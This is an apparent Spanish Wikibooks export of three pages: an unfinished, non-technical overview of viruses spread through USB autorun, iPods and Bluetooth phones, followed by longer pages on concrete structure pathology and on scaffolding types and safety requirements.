Puesto que no podemos negar el avance de la tecnología, y de la misma manera, no podemos evitar que personas con malas intenciones la utilicen para propositos poco eticos nesesitamos saber de ellas, para poder hacer frente a estas.

==Historia==

Desde el principio de la expansión de las computadoras, comenzó el surgimiento de personas que con conocimientos de programación, podían

==Tecnologías hoy en día==

===Dispositivos extraibles de almacenamiento===
====Memorias USB====
Las nuevas memorias [[:m:w:es:Memoria_USB|USB]] carecen de protección contra escritura, por esto se pierden datos y se infectan equipos. usbToy es un gusano que aprovecha dos tecnologías: la falta de protección y la reproducción automática.

* Crea un archivo [[:m:w:es:Autorun|Autorun.inf]], que indica al sistema que ejecute el archivo Toy.exe.

* El archivo Toy.exe se copia en el sistema, para ser más exacto, en la carpeta &quot;Inicio&quot;, se oculta manejando una API.

* Mientras esté en la memoria, busca unidades USB conectados y se copia con su autorun.

====Ipod====

El Ipod sufre del Olso (o Podloso), este infecta los archivos del Ipod y muestra un mensaje. Solo afecta los Ipod con Linux, busca los archivos Elf y los infecta, impidiendo su ejecución.


===Internet===
====Aplicaciones flash====
====Reemplazo de sitios====

===Otros===

====Teléfonos Celulares====
Los teléfonos con Bluetooth tienen la características de que si &quot;perciben&quot; otro, se comunican con él. Los virus de Bluetooth se aprovechan de esto, y cualquier víctima que se acerque recibirá una invitación a descargar el virus (enmascarado, claro). Si no se acepta descargarlo, el celular afectado volverá a mandar el archivo.
Un celular infectado puede mandar por mensajes multimedia el virus. Sus actividades van desde sustituir las aplicaciones del celular por sí mismo, alterar configuraciones, mensajes, o llamar a números de tarifas &quot;Especiales&quot; (4 dólares por minuto).

{{AutoCat}}</text>
      <sha1>55hcahmbnpavd35glg30tn7y8brgd1j</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Problemática</title>
    <ns>0</ns>
    <id>16121</id>
    <revision>
      <id>430167</id>
      <parentid>417544</parentid>
      <timestamp>2026-08-02T11:54:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430167</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="25731" sha1="q65sczutjoes7lz0a9m5igp343corud" xml:space="preserve">&lt;references/&gt;

                                                             
== '''Introducción''' ==
	
El hormigón es un material pétreo de carácter artificial obtenido del endurecimiento de una mezcla de agua, áridos y un conglomerante, componentes esenciales del hormigón, a los que se les añade con carácter complementario aditivos, adiciones y las armaduras en el caso del hormigón armado.

Según su dosificación se obtienen distintos hormigones, no todos poseen las características necesarias para su aplicación constructiva. Cada elemento exige el empleo de un hormigón idóneo. La calidad de este elemento depende de:

- la calidad e idoneidad de los elementos constitutivos del hormigón

- la dosificación del producto, teniendo especial influencia la concentración (relación agua/cemento) y la riqueza (relación cemento/árido)

- la granulometría de los áridos, proporción entre los distintos tamaños

- el proceso de fabricación

- su transporte y puesta en obra

- y el curado


=='''Propiedades Constructivas'''==


==='''Componentes'''===


'''1. Cemento.''' Proporciona la coherencia del hormigón, además de parte de la trabajabilidad    del fresco. Es preferible el uso de cementos cuya característica resistente proceda de su composición frente a la finura de su molido, ya que en este caso demandaría una mayor cantidad de agua que aumentaría su calor de hidratación y su retracción.


'''2. Agua.''' Es necesaria para la hidratación y fraguado del conglomerante; para la obtención de la fluidez necesaria para la posterior puesta en obra del hormigón; para completar su hidratación y refrigeración, reduciendo su retracción, durante el proceso de curado. Como se ha mencionado anteriormente es preferible la menor cantidad de agua posible que permitirá la obtención de una mayor resistencia y durabilidad, ya que tras la evaporación del agua existe una red porosa abierta al exterior constituyendo una posible vía de penetración para los agentes destructivos del hormigón.

Se utiliza en tres momentos:

:- En el lavado de los áridos para la eliminación de las partículas finas y orgánicas.

:- En el amasado, momento en el cual se puede utilizar cualquier agua excepto la marina que, aunque favorecería ligeramente su endurecimiento, provocaría la rápido oxidación de las armaduras debido a la presencia de cloruros.

:- Para el curado del hormigón. Para este proceso es recomendable el uso exclusivo de agua potable, ya que el uso de aguas inadecuadas podría provocar la deposición de sustancias perjudiciales durante su evaporación debido a la gran cantidad de agua requerida, además podría resultar también peligroso por su contacto con el cemento fraguado que todavía no ha desarrollado toda su capacidad resistente. Su función durante este proceso es sustituir el agua evaporada, favoreciendo el correcto endurecimiento de la pasta y la refrigeración del hormigón por el calor desprendido por la hidratación del cemento.


'''3. Aridos.''' Suponen entre el 75% y el 80% del volumen del hormigón contribuyendo a dotar de resistencia al mismo, para lo que deben presentar una buena adherencia a la pasta de cemento; además su elevada proporción y su forma juegan también un importante papel en la trabajabilidad del mismo y en el control de su retracción.

Es más conveniente el uso de áridos de origen silíceo o calizo denso, ya que son más resistentes y duraderos. Según la forma, los áridos rodados dan lugar a hormigones mas dóciles, mientras que los áridos machacados mejoran la resistencia y la durabilidad del hormigón aunque pueden perjudicar la plasticidad del hormigón fresco y requieren una mayor cantidad de agua, contrarrestando el efecto anterior. Además deben poseer la mayor compacidad para lo que su dosificación debe ajustarse lo máximo posible a las curvas granulométricas ideales; las gravas reducen la retracción del hormigón, las arenas definen muchas de las características del hormigón y se trata del árido que más agua requiere, los finos aumentan la plasticidad a la vez que el requerimiento de agua, la retracción y la perdida de adherencia por lo que perjudican la resistencia y la durabilidad.


'''4. Aditivos.''' Se trata de productos que añadidos al cemento corrigen algunas de sus características mejorando algunas de sus prestaciones y perjudicando otras. Su utilización no corrige un hormigón defectuoso o mal amasado, su incorporación debe estar prevista con anterioridad y su dosis no superar nunca el 5% del peso del cemento.


'''5. Adiciones.''' Se suelen emplear cenizas volantes o humo de sílice, la adición de las primeras retarda el fraguado, mejora la trabajabilidad y la durabilidad del hormigón, y reduce la exudación, la velocidad de endurecimiento y el calor de hidratación. Se añaden en centrales y en proporciones mayores a los anteriores.


[[Imagen:Img_ferralla.gif|thumb|80px|Ferralla]]
'''6. Armaduras.''' Utilizadas en el hormigón armado, suministran resistencia a tracción, se colocan también en zonas de cortante y comprimidas, además de utilizarse como auxiliares para el montaje de la ferralla. Su dilatación es compatible con la del hormigón, el cual si es suficientemente compacto la protege de la corrosión gracias a la alta alcalinidad del cemento Pórtland, esta situación de pasividad ante la actividad electroquímica se pierde según avanza el proceso de carbonatación del cemento.


==='''Etapas y propiedades del hormigón'''===


Cada hormigón pasa por cuatro etapas en función de su endurecimiento o resistencia a lo largo del tiempo y variando con ella sus características.


'''1. Fabricación.''' De la dosificación y amasado de los componentes obtenemos el ''hormigón fresco'', en esta etapa los parámetros que definen sus propiedades y características son su composición, su dosificación y su amasado, así como su densidad y contenido de aire ocluido.


'''2. Puesta en obra.''' El hormigón permanece aun fresco y en estado plástico. En esta etapa se debe atender especialmente a sus condiciones de trabajabilidad, como son la docilidad, la consistencia y la fluidez; especial control requiere su homogeneidad y estabilidad en esta etapa, ya que debido a una dosificación, transporte o puesta en obra inadecuados puede dar lugar a los siguientes fenómenos:

:-'''Exudación o expulsión de la lechada,''' esta sube a la parte superior del hormigón o se pierde entre las juntas, y esta ocasionada por una mala dosificación o a un amasado corto. Esta perdida de lechada provoca un empobrecimiento del hormigón.

[[Imagen:Sedimentacion.jpg|thumb|80px|Sedimentación]]
:-'''Sedimentación o decantación''', se produce una ordenación de los áridos por el tamaño de sus granos. Se produce en masas muy liquidas o cuya granulometría es inadecuada; es también un fenómeno frecuente en procesos de transporte en recipientes con mucho fondo o en vertidos por caída libre desde alturas superiores a dos metros.

:-'''Segregación''', se produce una separación de los áridos gruesos y finos dando lugar a la formación de ''nidos de grava''; es frecuente en hormigones con granulometrías discontinuas y un tamaño máximo de grano elevado, así como consecuencia de una mala puesta en obra. Una variedad de este fenómeno es la retención de los áridos gruesos, debido a las armaduras y a la estrecha separación de estas con los encofrados, provocando que estos actúen como filtro. 

En esta fase también es importante prestar atención a los tiempos de fraguado, que se pueden ver modificados por las condiciones ambientales.

Al final de esta etapa se obtiene un ''hormigón fraguado''.


'''3. Curado.''' Se produce un aumento paulatino de la resistencia del hormigón. Durante este endurecimiento del hormigón se producirá el proceso de  hidratación que junto con los cuidados a los que se someta al hormigón durante este periodo determinarán sus características.

En este proceso el hormigón sufre una retracción debida a la presencia de cemento en su composición, que se puede ver reducida por una adecuada granulometría y una alta proporción de áridos. Esta retracción puede se de tres tipos:

:-'''Retracción hidráulica,''' [//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Fisuraci%C3%B3n#FISURAS_DE_RETRACCI.C3.93N_HIDRA.C3.9ALICA| Ver en &quot;Lesiones&quot;] en esta retracción se distinguen a su vez tres componentes, una ''retracción plástica'' ocasionada por el asentamiento de los áridos ante la perdida de agua o por una pasta muy aguada y dependiente de la gravedad; una ''retracción química'' producida por la hidratación del cemento y por las fuerzas de cohesión y adhesión, este fenómeno se puede ver compensado por una adecuada granulometría; y una retracción de secado debida a la perdida de agua libre una vez endurecido el hormigón, esta retracción presentara menos importancia cuanto mas tarde se produzca, si la superficie esta sometida a un secado rápido durante las primeras horas se producirá una figuración denominada ''afogarado''.

:-'''Retracción térmica,''' [//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Fisuraci%C3%B3n#FISURAS_T.C3.89RMICAS| Ver en &quot;Lesiones&quot;] esta ocasionada por el calentamiento del hormigón y un posterior enfriamiento consecuencia del calor que se desprende durante la hidratación; una refrigeración del hormigón en sus primeras edades evitaría el endurecimiento con un volumen dilatado.

:-'''Retracción por carbonatación,''' esta producida por una recristalización de los cristales de CH en CC´. 

El proceso de curado al que se somete al hormigón es esencial como medio de prevención de una desecación acelerada o prematura que produciría fisuras y retracciones además de dificultar el proceso de hidratación. Este conjunto de cuidados debe ir acorde con el proceso de endurecimiento, de tal forma que permita un control de las tensiones de retracción manteniendo las mismas por debajo de las retracciones de tracción, el aumento de la humedad reduce las retracciones.
Este proceso es decisivo en la durabilidad y resistencia que presentara finalmente el hormigón. La climatología, en especial la temperatura y el viento, tienen gran influencia en el proceso.

Tras esta fase se obtiene el ''hormigón endurecido o maduro''.


'''4. Puesta en carga.''' El hormigón maduro presenta ya sus características definitivas, consecuencia de las fases descritas anteriormente:

:-'''Alcalinidad,''' proporcionada por su contenido en hidróxido cálcico, esta característica proporciona la pasividad de las armaduras frente a la ''corrosión''[//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Corrosi%C3%B3n_de_armaduras| Ver en &quot;Lesiones&quot;], esta propiedad se ve reducida por la paulatina ''carbonatación''[//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Corrosi%C3%B3n_del_hormig%C3%B3n#Ataque_por_.C3.A1cidos._Carbonataci.C3.B3n| Ver en &quot;Lesiones&quot;] del hormigón, que avanza hacia al interior del hormigón, la cual se produce por contacto con el aire.

:-'''Densidad y porosidad,''' características determinadas por la dosificación y el tipo de áridos, influyendo también el cemento y los aditivos empleados. Esta porosidad puede dar lugar a la circulación de agua por la red de poros del hormigón, dando lugar a la aparición de ''eflorescencias''[//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Eflorescencias| Ver en &quot;Lesiones&quot;] tras su evaporación.

:-'''Resistencia''' [//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Fisuraci%C3%B3n#FISURAS_DEBIDAS_A_ACCIONES_MEC.C3.81NICAS| Ver en &quot;Lesiones&quot;] esta característica mecánica viene determinada por la dosificación del hormigón, el tipo de cemento empleado, así como su grado de hidratación, su maduración y su envejecimiento.

:-'''Durabilidad,''' característica influida por el tipo de cemento y de árido empleado, la dosificación del mismo, la compacidad, y la correcta ejecución de las etapas por las que pasa el hormigón. La durabilidad se ve especialmente afectada por la carbonatación, la agresividad de cloruros y sulfatos, la reactividad de los áridos con los álcalis del cemento [//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones/Fisuraci%C3%B3n#FISURAS_DE_ORIGEN_QU.C3.8DMICO| Ver en &quot;Lesiones&quot;] y la estabilidad de volumen, la cual ante la presencia de agentes contaminantes internos y externos puede verse afectada.


=== SISTEMAS CONSTRUCTIVOS ===

El hormigón armado se caracteriza por monilitismo, dando lugar a enlaces de carácter hiperestático, lo que le confiere gran seguridad frente a sismos y efectos dinámicos.

En la ejecución de las estructuras de hormigón armado se ha de prestar una especial atención a la colocación de las armaduras, controlando que estas posean un recubrimiento suficiente y que las longitudes de anclaje en los nudos sean las adecuadas.

Su adaptabilidad a las distintas formas permite la realización de distintos tipos de estructuras. Para llegar a concebir la estructura mas adecuada para cada caso es necesario conocer las condiciones generales que rigen cada tipo. La estructura más idónea es en cada caso la que resista por si sola la actuación de las cargas transmitiéndolas al terreno de la manera más adecuada, con el mínimo consumo de material y provocando en la estructura el menor cansancio.

Las diferentes formas estructurales que ha adoptado el hormigón más utilizadas en la edificación:

====Estructuras porticadas====

Se trata de una de las soluciones estructurales mas frecuentes debido a su sencillez constructiva, su continuidad, la rigidez en sus nudos, se distinguen tres soluciones:

::-'''Estructura porticada en sentido longitudinal,''' debido a la libertad que permite en planta se tarta de la solución mas habitual en hormigón armado. La alineación de los pilares en el sentido longitudinal le confiere estabilidad en sentido longitudinal, sin embargo hay que prestar atención a la consecución de dicha estabilidad en su sentido transversal, que se conseguirá empleando pilares de gran inercia en su sentido transversal o a través del empotramiento del forjado en la viga.

::-'''Estructura porticada en sentido transversal,''' solución extendida debida a su libertad en fachada, permitiendo gran libertad en la ubicación de los pilares en su sentido transversal, el esquema mas frecuente para este tipo de estructuras es el pórtico simétrico con voladizos. la rigidez de sus nudos es lo que confiere estabilidad a la estructura frente a esfuerzos transversales, mientras que ante esfuerzos longitudinales es necesario, como se ha comentado para el caso, el empotramiento de los forjados para proporcionar la estabilidad requerida.

::-'''Estructuras reticulares,''' se obtiene a través de la definición de cuadriculas, tanto en planta como en alzado, dando lugar a un esqueleto estable si necesidad de la colaboración de los forjados. Los esfuerzos en ambas direcciones son absorbidos por la rigidez de los nudos y de la inercia de los pilares.

====Estructuras trianguladas====

No constituyen una solución adecuada para este material debido a la fragilidad de estas piezas ante la fisuración a pesar de la rigidez de sus nudos y de ser hiperestáticas y continuas. A pesar de esto se emplean en edificación industrial y en la edificación urbana en menor medida.


====Edificios en altura====

El uso del hormigón en este tipo de edificaciones se ha producido gracias al avance técnico que ha caracterizado la evolución del hormigón. Este tipo de estructuras se caracteriza por su comportamiento tipo ménsula debido al predominio de las acciones horizontales frente a las verticales.

Para su aplicación en este tipo de construcciones se debía conseguir la continuidad entre los elementos lineales, superficiales y espaciales; lo que fomenta el uso de muros y forjados como forma estructural.


====Estructuras laminares====


[[Imagen:Superficies_cilindricas.jpg|thumb|80px|left|Superficies cilíndricas]]


[[Imagen:Hpim7931.jpg‎|thumb|200px|right|Cúpula de la Espada de Caxias en Brasilia. Óscar Niemeyer]]
[[Imagen:HPIM6349.JPG‎|thumb|200px|right|Oceanográfico de la Ciudad de las Ciencias, en Valencia]]

Basan su creación en dos características básicas del hormigón armado que permiten dar a la estructura la forma más adecuada a los esfuerzos a los que esta sometida reduciendo considerablemente los espesores, estas son la capacidad de adaptación del hormigón a formas muy variadas y la mejora de la resistencia del mismo a través de la incorporación de las armaduras. La reducción de peso propio que se produce permite una gran libertad formal que amplia su campo de aplicación.

La reducción de su espesor es posible debido a la desaparición de efectos de flexión en este tipo de láminas.

[[Imagen:Cupula.jpg|thumb|80px|left|Cúpula]]
[[Imagen:Superficies_regladas.jpg|thumb|80px|left|Superficies regladas]]
::-'''Superficies cilíndricas'''

::-'''Cúpulas'''


::-'''Superficies plegadas'''


::-'''Superficies regladas'''

::-'''Superficies libres'''


=='''Solicitaciones típicas'''==


Las estructuras de hormigón se encuentran sometidas a solicitaciones de diversos orígenes. La determinación de la procedencia de esta solicitación es fundamental para la determinación de las lesiones y su posible evolución, ya que las mismas causas producen siempre los mismos defectos.

Las solicitaciones se pueden clasificar, según su procedencia, en los siguientes grupos:

-Agresiones biológicas

-Agresiones físicas y mecánicas

-Agresiones químicas
 

===Agresiones biológicas===

Aunque son poco frecuentes en la edificación el hormigón se puede ver sometido a agresiones biológicas, en especial ante superficies húmedas que pueden facilitar el alojo de determinados cultivos, en especial algas. Además, al igual que sucede frente a los agentes químicos, debido a la presencia de acero en su composición se ve afectado también por aquellas bacterias que intensifican con su actividad los procesos de corrosión.

===Agresiones físicas y mecánicas===

Son las agresiones mas frecuentes a las que se encuentra sometido el hormigón. Las de origen físico no son solo debida a causas externas, como sucede con las mecánicas, sino que pueden venir provocado por causas interiores, ya que en el proceso de elaboración del material este se encuentra sometido a cambios de temperatura generados durante su hidratación, y además durante toda su producción hasta su puesta en carga el material se encuentra en presencia de agua, necesaria para el proceso de hidratación citado anteriormente.


===Agresiones electroquímicas===

Estas suelen ser de lento desarrollo. Los agentes químicos mas habituales en el hormigón son los sulfatos, los cloruros, los carbonatos y los ácidos, entre otros; estos agentes provocan la corrosión del hormigón provocando graves daños estructurales y afectar a la durabilidad del hormigón. El ataque de estos agentes se puede producir sobre el cemento o sobre los áridos.
Estos agentes químicos también pueden afectar a las armaduras, provocando su oxidación o corrosión. Este efecto se ve influido por las fisuraciones o por la perdida de alcalinidad del hormigón, ya que este protege a las armaduras frente a su corrosión.

El estudio de estas solicitaciones y sus causas serán desarrolladas con mayor profundidad en al apartado correspondiente a ''causas materiales y mecanismos de deterioro''.[//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Causas_materiales_y_mecanismos_de_deterioro]


=='''Fallos característicos'''==

Como hemos podido observar en el desarrollo del primer apartado las lesiones más características que presenta el hormigón son las fisuras. Las solicitaciones más habituales que provocaran esta fisuración del material serán las provocadas por el comportamiento del propio material durante su elaboración o por acciones externas.

Para su identificación deberemos atender a las características de las mismas, las más relevantes a la hora de identificar las mismas son:

-'''Geometría,''' será importante determinar el trazado, la anchura y profundidad de la fisura, así como si se encuentra ligada a las armaduras o la relación que posee con la geometría del elemento. Será también importante para determinar la posible afectación a las armaduras, en caso de que se encuentren ligadas a estas, saber si se trata de una fisura activa o pasiva.

-'''Trazado,''' será necesario conocer si se trata de una fisura intergranular, transgranular o mixto, y la proporción de granos que han sido atravesados o rodeados. Habrá que especificar también si se trata de una fisura sucia o limpia.

-'''Aparición,''' se trata de un factor determinante a la hora de establecer las causas y mecanismos de deterioro y el tipo de lesión. Será necesario definir en cual de las etapas descritas con anterioridad se ha producido la fisura, y si fuera posible se debería especificar día y hora de la primera aparición.

-'''Evolución,''' para determinar el alcance y poder realizar un pronostico sobre el alcance que puede tener la lesión será necesario establecer si se trata de una fisura de tipo activo o pasivo, así como determinar la rapidez en su evolución y sus variaciones de anchura y de longitud.

-'''Ubicación,''' el estudio del tipo de elemento en el que aparece, la orientación del mismo y la comparación de este con elementos análogos puede ser determinante a la hora de determinar el origen de la lesión y establecer una hipótesis de su evolución, que ayudara a determinar la reparación.

-'''Origen,''' la determinación de las causas será necesario para la determinación de algunas de las características anteriores como su evolución, aunque también se podrá proceder a la inversa y tras un estudio de las características citadas determinar el origen del agente causante de la lesión (ambiente exterior, mecánico, físico o químico).

Ante procesos de fisuración visible se puede proceder del siguiente modo:

:-Se procederá a '''estudiar''' las fisuras (determinando las características enunciadas anteriormente), y se se '''enunciaran hipótesis''' sobre sus causas que serán analizadas con el fin de descartar aquellas que no se ajusten a los resultados del análisis.

:-Si fuera posible a partir del análisis previo de '''determinaran las causas''' de la fisuración. Si los estudios realizados permitieran descubrir las causas se procederá a su '''reparación'''. Si por el contrario no se pudiera llegar a una conclusión sobre el origen de estas se vigilara la evolución de le lesión y se '''proseguirán los análisis'''.

:-Una vez determinadas las causas y la reparación necesaria, esta se llevara a cabo siempre que sea posible. En caso de que no se puede efectuar se aguardara para solucionar la lesión siempre vigilando la '''evolución de la fisura''', y una vez que sea posible '''se establecerán las protecciones, refuerzos y juntas flexibles''' determinadas.

:-Si aun así no fuera posible combatir la causa '''se determinara la gravedad''' del caso, dando lugar a la '''demolición''' cuando presente gravedad, o '''vigilando su evolución y aceptando su existencia''' siempre que no constituya un riesgo para la seguridad del usuario.

Las lesiones de carácter químico son fallos a los que debemos prestar atención, ya que como se ha descrito en el primer apartado, pueden provocar una reducción considerable de la durabilidad del hormigón.

Estas lesiones pueden ocasionar fallos en el edificio, provocando una deficiencia en el cumplimiento de alguna de las exigencias previstas en el proyecto. Según las características de estas exigencias los fallos se pueden producir en un edificio son:

-'''Fallos mecánicos,''' afectan a la solidez, implican una perdida de la capacidad mecánica o resistencia, estabilidad, rigidez que inciden en la seguridad estructural.

-'''Fallos funcionales,''' afectan a la correcta utilidad del edificio, implican una perdida de nivelación horizontal o vertical, o cualquier otro tipo de deformación que pueda dificultar el uso adecuado del edificio.

-'''Fallos estéticos,''' afectan al decoro debido a cambio de coloración, este cambio de coloración se debe generalmente a corrosiones, eflorescencias, depósitos de polvo y cultivos biológicos.

Todas las posibles lesiones a las que se puede ver sometido el hormigón se analizan en profundidad en el siguiente capitulo..[//es.wikibooks.org/wiki/Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_de_hormig%C3%B3n/Lesiones] 


== '''Bibliografía''' ==


-'''F. Cassinello''': CONSTRUCCIÓN. HORMIGONERIA. Ediciones Rueda, Madrid 1974. (Biblioteca ETSAM: 691.3 CAS con)

-'''Álvaro García Meseguer''': HORMIGÓN ARMADO. MATERIALES. EJECUCIÓN. CONTROL. PATOLOGÍA. Fundación Escuela de la Edificación (Colegio Oficial de Aparejadores y A. T de Madrid), Madrid 1988. (Biblioteca ETSAM: 624.012 GAR cal 1)

-Apuntes de la asignatura de la ETSAM: Materiales de Construcción, departamento de Construcción y Tecnología Arquitectónicas de la U.P.M. – CURSO DE MATERIALES DE CONSTRUCCIÓN. II MATERIALES MINERALES

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>q65sczutjoes7lz0a9m5igp343corud</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Andamios</title>
    <ns>0</ns>
    <id>16232</id>
    <revision>
      <id>430083</id>
      <parentid>197795</parentid>
      <timestamp>2026-08-02T11:06:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430083</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11542" sha1="rsiyqoayey2iexul5kgajvivwt4f2w3" xml:space="preserve">
'''INTRODUCCIÓN'''

Un andamio es una '''estructura auxiliar provisional''' que se emplea en la ejecución de las obras '''para hacer accesible una zona que no lo es''', y así facilitar el paso de personal y la conducción de materiales.

'''REQUERIMIENTOS PARA SU UTILIZACIÓN'''

: - Los andamios deberán proyectarse, montarse y mantenerse de acuerdo con las cargas previstas de uso y según el número de empleados que lo usarán.

: - En función de la complejidad del andamio elegido, deberá elaborarse un '''plan de montaje''', de utilización y de desmontaje.

: - Los andamios '''deberán ser inspeccionados''' antes de su puesta en servicio, a continuación, periódicamente y tras cualquier modificación, período de no utilización, exposición a la intemperie, sacudidas sísmicas, o cualquier circunstancia que hubiera podido afectar a su resistencia o a su estabilidad.

: - Los '''elementos de apoyo''' deberán estar '''protegidos''' contra deslizamiento.

: - En caso de tener que sujetarse a una fachada, deberán disponerse un '''número suficiente de anclajes''' a ella.

: - Para garantizar la estabilidad, el promotor ha de encargar a un técnico competente los documentos técnicos necesarios, el cual será el responsable de la correcta ejecución del mismo.

: - El empleo de equipos individuales de protección vendrá recogido en el documento técnico del andamio.

: - '''En caso de ser prefabricados, deberán estar certificados''' por el fabricante e incluir sus datos técnicos, así como normas de montaje, uso y mantenimiento.

Hay varios tipos, clasificables en cuanto a su envergadura, sus materiales, su construcción, sus elementos, etc. Aquí se analizarán según su capacidad (pequeña o gran envergadura), además de dos casos especiales: los colgados y los móviles.


'''CLASES'''

: 1. Andamios de pequeña envergadura
:: 1.1 Andamios de caballete o asnilla
:: 1.2 Andamios de borriquetas verticales

: 2. Andamios estructurales
:: 2.1 Andamio de borriquetas armadas con bastidores móviles
:: 2.2 Andamios tubulares
::: a) clases según el anclaje
: 3. Andamios móviles
: 4. Andamios colgados (equipo de trabajo)


'''1. ANDAMIOS DE PEQUEÑA ENVERGADURA'''

1.1. De caballete o asnilla:

Están formados por caballetes cada 3’5m (max) y un tablero atado a ellos. No pueden graduarse ni emplearse para grandes alturas. En general, se emplean para interiores.


1.2 De borriquetas verticales:

Tienen la ventaja de ser graduables hasta tres metros. Los soportes son más estables. Si las plataformas de trabajo sobrepasan los 2 metros habrá que incluir barandillas y rodapiés de seguridad. No pueden emplearse montados total o parcialmente sobre andamios colgados o suspendidos, por no ser seguro. También se emplean principalmente en trabajos de interior.


'''2. ANDAMIOS ESTRUCTURALES'''

2.1 De borriquetas armadas con bastidores móviles: 

Pueden alcanzar una altura máxima de 6 metros, para lo que deben incluir los arriostramientos, barandillas y medidas de seguridad. Están formados por un soporte metálico graduable, arriostramientos en forma de cruz de san Andrés por ambos lados, barandillas de 90 cm (mín) y una plataforma metálica o de madera sana.

2.2 Andamios tubulares: 

Es una estructura metálica modular de planos paralelos. En general, su altura máxima es de 30m. Sirven para sustentar las distintas plataformas de trabajo (a distintas alturas), cumpliendo las funciones de: 

: - Servicio: Permitir el trabajo del operario en la plataforma.
: - Protección: Cumplir las normas de seguridad y protección estipuladas.
: - Carga: Han de resistir las cargas propia, de los usuarios y del acopio de materiales. Existen varias clases según su capacidad:

::: · Clase 6: Destinados a trabajos de albañilería pesada, con almacenamiento de materiales (resiste q=75kg/m² y P= 150kg)
::: · Clases 4 y 5: Para trabajos de albañilería, sin acopio de materiales
::: · Clases 2 y 3: Para labores de inspección y trabajos que no impliquen almacenamiento de materiales o pocos de uso inmediato, como pintura.
::: · Clase 1: Para control y trabajos con utillaje ligero. Es similar a la clase dos, pero con reducción de las cargas totales permitidas 


::: CARACTERÍSTICAS: 

: · Resistir cargas puntuales y repartidas.
: · Cumplir las dimensiones mínimas para garantizar la comodidad y seguridad del trabajo.
: · Anchura mínima de las plataformas de 60cm, y resistencia mínima 200kg/m²
: · Habrá que proteger todo el perímetro con barandillas y rodapiés.
: · Necesitan un proyecto para su montaje, mantenimiento, control y desmontaje, en el que se determinen los esfuerzos que ha de resistir, los accesos al mismo, las medidas de seguridad, las protecciones personales y donde se garantice la estabilidad del conjunto.
: · Es muy importante asegurar la base de apoyo, bien sobre la placa base o sobre elementos de reparto si no fuera suficiente. Si el terreno está en desnivel, se emplearán los husillos de nivelación.
: · El arriostramiento se efectuará en puntos resistentes. Se suelen emplear: cruces de san Andrés, diagonal simple, dos barandillas a modo de viga, formar una estructura con las barandillas y los montantes o emplear la 	protección lateral como viga. Además, se dispondrán diagonales horizontales cada 5 m para evitar deformaciones. En el caso de que el andamio no sea autoestable, se arriostrará contra la fachada o la estructura. Para ello, se dispondrán primero de un número suficiente de puntos fuertes que resulten seguros.
: · Los dispositivos de unión o rosetas serán eficaces y fáciles de colocar y bloquear.
: · El fabricante deberá suministra las características técnicas de todos los componentes y elementos complementarios, así como el modo de proceder al montaje.


::: COMPONENTES:


::: CLASES:

Por último, respecto de las clases de andamios, son bastante similares entre sí. La diferencia es el anclaje entre las piezas, patente de cada casa comercial:

: · '''Sistema de rosetas: Casa “Peri” modelo “Up Rosett”'''. Tienen el inconveniente de que el anclaje entra en contacto con el tubo y que sólo pueden colocarse según los ejes cartesianos, por lo que no resuelven fachadas complicadas o curvas.

: · '''Sistema: Casa “Layher” modelo “Allround”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor del mismo. El inconveniente grave es que los operarios tienden a emplear estos anclajes como escalas para trepar.

: · '''Sistema: Casa “In” modelo “Crab”'''. Es el modelo más moderno y de mayor seguridad que pone en contacto tubo y anclaje (la chaveta bascula automáticamente, garantizando una fijación instantánea entre vertical y horizontal)presenta las mismas ventajas que el sistema de rosetas.

: · '''Sistema: Casa “RMD” modelo “Rapid Stage”'''. El anclaje no toca el tubo y pueden disponerse las fijaciones con más libertad alrededor.


'''3. ANDAMIOS MÓVILES'''

: · Tienen ruedas de goma o acero en vez de las placas base. Éstas han de incluir algún sistema antibloqueo para cuando se están utilizando.
: · La carga del andamio se limitará a 800 kg por rueda si ésta es de acero, y 250 kg si es de goma.
: · Los husillos se sustituyen por unos fijos de un metro.
: · Además de todas las medidas de seguridad de los fijos, han de incluir tubos diagonales dobles en la parte de la base, alternando el sentido de colocación, para garantizar su indeformabilidad.
: · La estabilidad se determinará dividiendo la altura total del andamio entre su lado corto. Ésta no podrá exceder de 4 (en los fijos es 5)


'''4. ANDAMIOS COLGADOS'''

Son los constituidos por una plataforma suspendida mediante un cable de varios puntos fijos. Sólo se desplaza verticalmente, gracias al accionamiento manual de los mecanismos dispuestos en la plataforma.


::: COMPONENTES:

: · Plataforma: De chapa galvanizada antideslizante. Es donde está el operario.
: · Cable o sirga: Elemento auxiliar de acero que sujeta la plataforma.
: · Pescante: Elemento situado en el tejado del edificio (generalmente se equilibra con contrapesos). De él se descuelgan los cables que sujentan la plataforma.
: · Torno: Aparato anclado en la plataforma, que lleva el mecanismo que la mueve y la fija a lo largo del cable. Lleva asimismo un segundo cable de seguridad.


::: DISPOSITIVOS DE SUSPENSIÓN:

: · Cabria: utilizadas para los andamios móviles en trabajos de revoco de fachadas de edificios con cubierta inclinada.

